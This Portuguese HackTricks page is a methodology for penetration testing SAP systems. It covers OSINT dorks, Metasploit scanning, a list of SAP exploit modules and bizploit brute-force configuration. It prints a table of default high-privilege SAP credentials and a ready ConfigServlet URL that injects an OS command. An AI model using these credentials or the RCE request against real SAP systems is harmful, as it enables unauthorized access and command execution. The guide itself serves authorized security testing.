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326 lines
25 KiB
Markdown
<details>
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<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Outras maneiras de apoiar o HackTricks:
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* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
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* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
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* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
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</details>
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<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
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{% embed url="https://websec.nl/" %}
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# Introdução sobre SAP
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SAP significa Sistemas, Aplicações e Produtos em Processamento de Dados. SAP, por definição, é também o nome do software ERP \(Enterprise Resource Planning\) bem como o nome da empresa.
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O sistema SAP consiste em vários módulos totalmente integrados, que cobrem virtualmente todos os aspectos da gestão empresarial.
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Cada instância SAP \(ou SID\) é composta por três camadas: banco de dados, aplicação e apresentação\), cada paisagem geralmente consiste em quatro instâncias: desenvolvimento, teste, QA e produção.
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Cada uma das camadas pode ser explorada até certo ponto, mas o maior efeito pode ser obtido **atacando o banco de dados**.
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Cada instância SAP é dividida em clientes. Cada um tem um usuário SAP\*, o equivalente do aplicativo ao “root”.
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Na criação inicial, este usuário SAP\* recebe uma senha padrão: “060719992” \(mais senhas padrão abaixo\).
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Você ficaria surpreso se soubesse com que frequência essas **senhas não são alteradas em ambientes de teste ou desenvolvimento**!
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Tente obter acesso ao shell de qualquer servidor usando o nome de usuário <SID>adm.
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A força bruta pode ajudar, no entanto pode haver um mecanismo de Bloqueio de Conta.
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# Descoberta
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> A próxima seção é principalmente do [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) do usuário shipcod3!
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* Verifique o Escopo da Aplicação ou Resumo do Programa para testes. Anote os nomes de host ou instâncias do sistema para se conectar ao SAP GUI.
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* Use OSINT \(inteligência de fontes abertas\), Shodan e Google Dorks para verificar arquivos, subdomínios e informações valiosas se a aplicação estiver voltada para a Internet ou for pública:
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```text
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inurl:50000/irj/portal
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inurl:IciEventService/IciEventConf
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inurl:/wsnavigator/jsps/test.jsp
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inurl:/irj/go/km/docs/
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https://www.shodan.io/search?query=sap+portal
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https://www.shodan.io/search?query=SAP+Netweaver
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https://www.shodan.io/search?query=SAP+J2EE+Engine
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```
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* Eis como [http://SAP:50000/irj/portal](http://sap:50000/irj/portal) se parece
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![Tela de login do SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
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* Use o nmap para verificar as portas abertas e os serviços conhecidos \(roteadores sap, webdynpro, serviços web, servidores web, etc.\)
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* Rastreie os URLs se houver um servidor web em execução.
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* Fuzz os diretórios \(você pode usar o Burp Intruder\) se houver servidores web em determinadas portas. Aqui estão algumas boas listas de palavras fornecidas pelo Projeto SecLists para encontrar Caminhos SAP ICM padrão e outros diretórios ou arquivos interessantes:
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[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
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[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
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[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)
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* Use o módulo auxiliar SAP SERVICE DISCOVERY do Metasploit para enumerar instâncias/serviços/componentes SAP:
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```text
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msf > use auxiliary/scanner/sap/sap_service_discovery
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msf auxiliary(sap_service_discovery) > show options
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Module options (auxiliary/scanner/sap/sap_service_discovery):
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Name Current Setting Required Description
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---- --------------- -------- -----------
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CONCURRENCY 10 yes The number of concurrent ports to check per host
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INSTANCES 00-01 yes Instance numbers to scan (e.g. 00-05,00-99)
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RHOSTS yes The target address range or CIDR identifier
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THREADS 1 yes The number of concurrent threads
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TIMEOUT 1000 yes The socket connect timeout in milliseconds
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msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
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rhosts => 192.168.96.101
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msf auxiliary(sap_service_discovery) > run
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[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
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```
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## Testando o Cliente Pesado / SAP GUI
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Aqui está o comando para se conectar ao SAP GUI
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`sapgui <nome do servidor SAP> <número do sistema>`
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* Verificar as credenciais padrão \(Na Taxonomia de Classificação de Vulnerabilidades da Bugcrowd, isso é considerado como P1 -> Configuração de Segurança do Servidor \| Usando Credenciais Padrão \| Servidor de Produção\):
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```text
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# SAP* - High privileges - Hardcoded kernel user
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SAP*:06071992:*
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SAP*:PASS:*
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# IDEADM - High Privileges - Only in IDES systems
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IDEADM:admin:*
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# DDIC - High privileges - User has SAP_ALL
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DDIC:19920706:000,001
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# EARLYWATCH - High privileges
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EARLYWATCH:SUPPORT:066
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# TMSADM - Medium privileges
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TMSADM:PASSWORD:000
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TMSADM:$1Pawd2&:000
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# SAPCPIC - Medium privileges
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SAPCPIC:ADMIN:000,001
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# SOLMAN dialog default users and passwords.
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# For more info check:
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# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
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# https://launchpad.support.sap.com/#/notes/2293011
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# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
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SOLMAN_ADMIN:init1234:*
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# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
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SAPSUPPORT:init1234:*
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# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
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#SOLMAN<SID><CLNT>:init1234:*
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# Trial systems
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# -------------
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# AS ABAP 7.40 SP08 Developer Edition:
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# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
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DDIC:DidNPLpw2014:001
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SAP*:DidNPLpw2014:001
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DEVELOPER:abCd1234:001
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BWDEVELOPER:abCd1234:001
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# AS ABAP 7.50 SP02 Developer Edition:
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# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
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# AS ABAP 7.51 SP02 Developer Edition:
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# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
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DDIC:Appl1ance:000,001
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SAP*:Appl1ance:000,001
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DEVELOPER:Appl1ance:001
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BWDEVELOPER:Appl1ance:001
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# AS ABAP 7.51 SP01 Developer Edition:
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# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
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# AS ABAP 7.52 SP04 Developer Edition:
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# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
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DDIC:Down1oad:000,001
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SAP*:Down1oad:000,001
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DEVELOPER:Down1oad:001
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BWDEVELOPER:Down1oad:001
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```
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* Execute o Wireshark e autentique-se no cliente \(SAP GUI\) usando as credenciais obtidas, pois alguns clientes transmitem credenciais sem SSL. Existem dois plugins conhecidos para o Wireshark que podem analisar os cabeçalhos principais usados pelo protocolo SAP DIAG também: o plug-in de análise SAP da SecureAuth Labs e o plug-in SAP DIAG do Positive Research Center.
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* Verifique escalonamentos de privilégios, como o uso de alguns Códigos de Transação SAP \(tcodes\) para usuários de baixo privilégio:
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* SU01 - Para criar e manter os usuários
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* SU01D - Para exibir usuários
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* SU10 - Para manutenção em massa
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* SU02 - Para criação manual de perfis
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* SM19 - Auditoria de segurança - configuração
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* SE84 - Sistema de Informação para Autorizações SAP R/3
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* Verifique se é possível executar comandos de sistema / executar scripts no cliente.
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* Verifique se é possível fazer XSS no BAPI Explorer
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# Testando a interface web
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* Rastreie os URLs \(veja a fase de descoberta\).
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* Faça fuzz nos URLs como na fase de descoberta. Veja como [http://SAP:50000/index.html](http://sap:50000/index.html) se parece:
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![Página Inicial do SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
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* Procure por vulnerabilidades web comuns \(Consulte o OWASP Top 10\) porque existem vulnerabilidades como XSS, RCE, XXE, etc. em alguns lugares.
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* Confira a metodologia de Jason Haddix [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) para testar vulnerabilidades web.
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* Autenticação Bypass via manipulação de verbos? Talvez :\)
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* Abra `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` e clique no botão “Escolher” e depois na janela aberta pressione “Pesquisar”. Você deverá ver uma lista de usuários SAP \(Referência de Vulnerabilidade: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)\)
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* As credenciais são enviadas via HTTP? Se sim, é considerado como P3 com base na Taxonomia de Classificação de Vulnerabilidades do Bugcrowd: Autenticação Quebrada e Gerenciamento de Sessão \| Função de Login Fraca Sobre HTTP. Dica: Confira também [http://SAP:50000/startPage](http://sap:50000/startPage) ou os portais de logon :\)
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![Página Inicial do SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
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* Tente `/irj/go/km/navigation/` para possíveis listagens de diretórios ou bypass de autenticação
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* [http://SAP/sap/public/info](http://sap/sap/public/info) contém algumas informações interessantes:
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```xml
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<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
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<SOAP-ENV:Body>
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<rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions">
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<RFCSI>
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<RFCPROTO>011</RFCPROTO>
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<RFCCHARTYP>4102</RFCCHARTYP>
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<RFCINTTYP>BIG</RFCINTTYP>
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<RFCFLOTYP>IE3</RFCFLOTYP>
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<RFCDEST>randomnum</RFCDEST>
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<RFCHOST>randomnum</RFCHOST>
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<RFCSYSID>BRQ</RFCSYSID>
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<RFCDATABS>BRQ</RFCDATABS>
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<RFCDBHOST>randomnum</RFCDBHOST>
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<RFCDBSYS>ORACLE</RFCDBSYS>
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<RFCSAPRL>740</RFCSAPRL>
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<RFCMACH>324</RFCMACH>
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<RFCOPSYS>AIX</RFCOPSYS>
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<RFCTZONE>-25200</RFCTZONE>
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<RFCDAYST/>
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<RFCIPADDR>192.168.1.8</RFCIPADDR>
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<RFCKERNRL>749</RFCKERNRL>
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<RFCHOST2>randomnum</RFCHOST2>
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<RFCSI_RESV/>
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<RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR>
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</RFCSI>
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</rfc:RFC_SYSTEM_INFO.Response>
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</SOAP-ENV:Body>
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</SOAP-ENV:Envelope>
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```
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# Ataque!
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* Verifique se ele roda em servidores antigos ou tecnologias como o Windows 2000.
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* Planeje os possíveis exploits / ataques, existem muitos módulos do Metasploit para descoberta do SAP \(módulos auxiliares\) e exploits:
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```text
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msf > search sap
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Matching Modules
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================
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Name Disclosure Date Rank Description
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---- --------------- ---- -----------
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auxiliary/admin/maxdb/maxdb_cons_exec 2008-01-09 normal SAP MaxDB cons.exe Remote Command Injection
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auxiliary/admin/sap/sap_configservlet_exec_noauth 2012-11-01 normal SAP ConfigServlet OS Command Execution
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auxiliary/admin/sap/sap_mgmt_con_osexec normal SAP Management Console OSExecute
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auxiliary/dos/sap/sap_soap_rfc_eps_delete_file normal SAP SOAP EPS_DELETE_FILE File Deletion
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auxiliary/dos/windows/http/pi3web_isapi 2008-11-13 normal Pi3Web ISAPI DoS
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auxiliary/dos/windows/llmnr/ms11_030_dnsapi 2011-04-12 normal Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
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auxiliary/scanner/http/sap_businessobjects_user_brute normal SAP BusinessObjects User Bruteforcer
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auxiliary/scanner/http/sap_businessobjects_user_brute_web normal SAP BusinessObjects Web User Bruteforcer
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auxiliary/scanner/http/sap_businessobjects_user_enum normal SAP BusinessObjects User Enumeration
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auxiliary/scanner/http/sap_businessobjects_version_enum normal SAP BusinessObjects Version Detection
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auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt normal SAP CTC Service Verb Tampering User Management
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auxiliary/scanner/sap/sap_hostctrl_getcomputersystem normal SAP Host Agent Information Disclosure
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auxiliary/scanner/sap/sap_icf_public_info normal SAP ICF /sap/public/info Service Sensitive Information Gathering
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auxiliary/scanner/sap/sap_icm_urlscan normal SAP URL Scanner
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auxiliary/scanner/sap/sap_mgmt_con_abaplog normal SAP Management Console ABAP Syslog Disclosure
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auxiliary/scanner/sap/sap_mgmt_con_brute_login normal SAP Management Console Brute Force
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auxiliary/scanner/sap/sap_mgmt_con_extractusers normal SAP Management Console Extract Users
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auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints normal SAP Management Console Get Access Points
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auxiliary/scanner/sap/sap_mgmt_con_getenv normal SAP Management Console getEnvironment
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auxiliary/scanner/sap/sap_mgmt_con_getlogfiles normal SAP Management Console Get Logfile
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auxiliary/scanner/sap/sap_mgmt_con_getprocesslist normal SAP Management Console GetProcessList
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auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter normal SAP Management Console Get Process Parameters
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auxiliary/scanner/sap/sap_mgmt_con_instanceproperties normal SAP Management Console Instance Properties
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auxiliary/scanner/sap/sap_mgmt_con_listlogfiles normal SAP Management Console List Logfiles
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auxiliary/scanner/sap/sap_mgmt_con_startprofile normal SAP Management Console getStartProfile
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auxiliary/scanner/sap/sap_mgmt_con_version normal SAP Management Console Version Detection
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auxiliary/scanner/sap/sap_router_info_request normal SAPRouter Admin Request
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auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner
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auxiliary/scanner/sap/sap_service_discovery normal SAP Service Discovery
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auxiliary/scanner/sap/sap_smb_relay normal SAP SMB Relay Abuse
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auxiliary/scanner/sap/sap_soap_bapi_user_create1 normal SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
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auxiliary/scanner/sap/sap_soap_rfc_brute_login normal SAP SOAP Service RFC_PING Login Brute Forcer
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auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
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auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
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auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing normal SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
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auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence normal SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
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auxiliary/scanner/sap/sap_soap_rfc_ping normal SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
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auxiliary/scanner/sap/sap_soap_rfc_read_table normal SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
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auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir normal SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
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auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface normal SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
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auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
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auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec normal SAP SOAP RFC SXPG_COMMAND_EXECUTE
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auxiliary/scanner/sap/sap_soap_rfc_system_info normal SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
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auxiliary/scanner/sap/sap_soap_th_saprel_disclosure normal SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
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auxiliary/scanner/sap/sap_web_gui_brute_login normal SAP Web GUI Login Brute Forcer
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exploit/multi/sap/sap_mgmt_con_osexec_payload 2011-03-08 excellent SAP Management Console OSExecute Payload Execution
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exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec 2013-03-26 great SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
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exploit/multi/sap/sap_soap_rfc_sxpg_command_exec 2012-05-08 great SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
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exploit/windows/browser/enjoysapgui_comp_download 2009-04-15 excellent EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
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exploit/windows/browser/enjoysapgui_preparetoposthtml 2007-07-05 normal EnjoySAP SAP GUI ActiveX Control Buffer Overflow
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exploit/windows/browser/sapgui_saveviewtosessionfile 2009-03-31 normal SAP AG SAPgui EAI WebViewer3D Buffer Overflow
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exploit/windows/http/sap_configservlet_exec_noauth 2012-11-01 great SAP ConfigServlet Remote Code Execution
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exploit/windows/http/sap_host_control_cmd_exec 2012-08-14 average SAP NetWeaver HostControl Command Injection
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exploit/windows/http/sapdb_webtools 2007-07-05 great SAP DB 7.4 WebTools Buffer Overflow
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exploit/windows/lpd/saplpd 2008-02-04 good SAP SAPLPD 6.28 Buffer Overflow
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exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
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exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
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```
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* Tente usar alguns exploits conhecidos (verifique o Exploit-DB) ou ataques como o antigo mas eficaz "Execução de Código Remoto do SAP ConfigServlet" no Portal SAP:
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```text
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http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
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```
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![RCE do Servlet de Configuração do SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)
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* Antes de executar o comando `start` no script bizploit na fase de Descoberta, você também pode adicionar o seguinte para realizar a avaliação de vulnerabilidades:
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```text
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bizploit> plugins
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bizploit/plugins> vulnassess all
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bizploit/plugins> vulnassess config bruteLogin
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bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
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bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
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bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
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bizploit/plugins/vulnassess/config:bruteLogin> back
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bizploit/plugins> vulnassess config registerExtServer
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bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
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bizploit/plugins/vulnassess/config:registerExtServer> back
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bizploit/plugins> vulnassess config checkRFCPrivs
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bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
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bizploit/plugins/vulnassess/config:checkRFCPrivs> back
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bizploit/plugins> vulnassess config icmAdmin
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bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
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bizploit/plugins/vulnassess/config:icmAdmin> back
|
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bizploit/plugins> start
|
|
bizploit/plugins> back
|
|
bizploit> start
|
|
```
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# Outras Ferramentas Úteis para Testes
|
|
|
|
* [PowerSAP](https://github.com/airbus-seclab/powersap) - Ferramenta Powershell para avaliar a segurança do SAP
|
|
* [Burp Suite](https://portswigger.net/burp) - essencial para fuzzing de diretórios e avaliações de segurança web
|
|
* [pysap](https://github.com/SecureAuthCorp/pysap) - Biblioteca Python para criar pacotes de protocolo de rede SAP
|
|
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Ajuda o nmap a detectar SAP/ERP
|
|
|
|
## Referências
|
|
|
|
* [Teste de Penetração SAP Usando Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
|
|
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - um script para automatizar parcialmente o Bizploit
|
|
* [Configuração de segurança SAP NetWeaver ABAP parte 3: Senhas padrão para acesso à aplicação](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
|
|
* [Lista de códigos de transação ABAP relacionados à segurança SAP](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
|
|
* [Quebrando o Portal SAP](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
|
|
* [Top 10 vulnerabilidades e ataques mais interessantes do SAP](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
|
|
* [Avaliando a segurança dos ecossistemas SAP com bizploit: Descoberta](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
|
|
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
|
|
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
|
|
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
|
|
|
|
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
|
|
|
{% embed url="https://websec.nl/" %}
|
|
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Outras formas de apoiar o HackTricks:
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* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
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* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
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|
|
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</details>
|